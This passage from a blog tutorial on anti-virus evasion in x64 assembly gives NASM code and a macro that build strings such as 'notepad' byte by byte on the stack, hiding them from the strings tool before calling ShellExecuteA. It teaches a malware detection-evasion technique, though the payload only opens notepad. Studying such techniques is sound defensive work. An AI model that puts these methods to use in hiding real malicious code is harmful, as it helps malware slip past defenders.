&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;e&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;r&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;s&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;e&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;l&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;l&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x0&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr /&gt;
&lt;p&gt;With this final version of the code, "notepad" will not be visible to &lt;code&gt;strings&lt;/code&gt; anymore.&lt;/p&gt;
&lt;p&gt;Here is our final code:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;bits&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;default&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rel&lt;/span&gt;

&lt;span class="nf"&gt;segment&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;.data&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;msg_open&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;db&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;open&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;

&lt;span class="nf"&gt;segment&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;.text&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;global&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;main&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;extern&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ExitProcess&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;extern&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ShellExecuteA&lt;/span&gt;

&lt;span class="nl"&gt;main:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mi"&gt;0x5&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mi"&gt;0x0&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r9&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;n&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;o&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;t&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;e&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;p&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;a&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;d&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x0&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;msg_open&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;xor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;sub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;ShellExecuteA&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;ExitProcess&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="hiding-at-scale"&gt;Hiding at scale&lt;/h2&gt;
&lt;p&gt;Writing the code above can get a little tedious especially if we want to pass a really long string. Thankfully, we can use a macro like the one I've written below:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;%&lt;/span&gt;&lt;span class="nf"&gt;macro&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;addstr2stack&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;-*&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="err"&gt;%&lt;/span&gt;&lt;span class="nf"&gt;assign&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="err"&gt;%&lt;/span&gt;&lt;span class="nf"&gt;assign&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;j&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="err"&gt;%&lt;/span&gt;&lt;span class="na"&gt;rep&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="err"&gt;%0&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;i&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;*&lt;/span&gt;&lt;span class="no"&gt;j&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="err"&gt;%&lt;/span&gt;&lt;span class="nf"&gt;assign&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;i&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="err"&gt;%&lt;/span&gt;&lt;span class="nf"&gt;rotate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="err"&gt;%&lt;/span&gt;&lt;span class="nf"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="err"&gt;%&lt;/span&gt;&lt;span class="nf"&gt;assign&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;j&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;j&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="err"&gt;%&lt;/span&gt;&lt;span class="nf"&gt;assign&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="err"&gt;%&lt;/span&gt;&lt;span class="nf"&gt;endif&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="err"&gt;%&lt;/span&gt;&lt;span class="nf"&gt;endrep&lt;/span&gt;
&lt;span class="err"&gt;%&lt;/span&gt;&lt;span class="nf"&gt;endmacro&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;What the macro does is that it loops through each character and places it into the correct position on the stack.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Important note:&lt;/strong&gt; When reserving space on the stack, make sure it is in multiples of 16! This is because the stack has a 16-bit boundary for stack alignment! &lt;/p&gt;
&lt;p&gt;For example, if our string has 10 characters, we only need to reserve 16 bytes. If our character is 20 characters long, we'd have to reserve 32 bytes.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This macro can then be called like this:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; Reserve space for the string on the stack&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;addstr2stack&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;n&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;o&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;t&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;e&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;p&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;a&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;d&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x0&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;...&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; After use, release the space&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Here is what the result of the macro looks like in the debugger:&lt;/p&gt;
&lt;p&gt;&lt;img alt="string-anti-virus-evasion-in-x64-assembly-part-1-05" src="https://www.accidentalrebel.com/images/string-anti-virus-evasion-in-x64-assembly-part-1-05.png" /&gt;&lt;/p&gt;
&lt;p&gt;For the full source code visit the repo &lt;a href="https://github.com/accidentalrebel/string-anti-virus-evasion-x64-assembly"&gt;on Github&lt;/a&gt;. Updates and fixes to the code will be pushed there.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;So there you have it, we were able to successfully hide strings by changing the way how the data is declared and placed in memory. If you think about it, the technique is very simple.&lt;/p&gt;
&lt;p&gt;However, we've only seen it used against the &lt;code&gt;strings&lt;/code&gt; command. Can it evade an actual anti-virus? The answer is probably no. In my next post I'll be talking about API call obfuscation that would help hide functions like &lt;code&gt;ShellExecute&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Edit: &lt;a href="https://www.accidentalrebel.com/string-av-evasion-in-x64-assembly-part-2.html"&gt;Part 2 here&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;. Also, for any questions or comments, feel free to reach out to me on &lt;a href="https://twitter.com/accidentalrebel"&gt;Twitter&lt;/a&gt; or &lt;a href="https://www.linkedin.com/in/juan-karlo-licudine/"&gt;LinkedIn&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
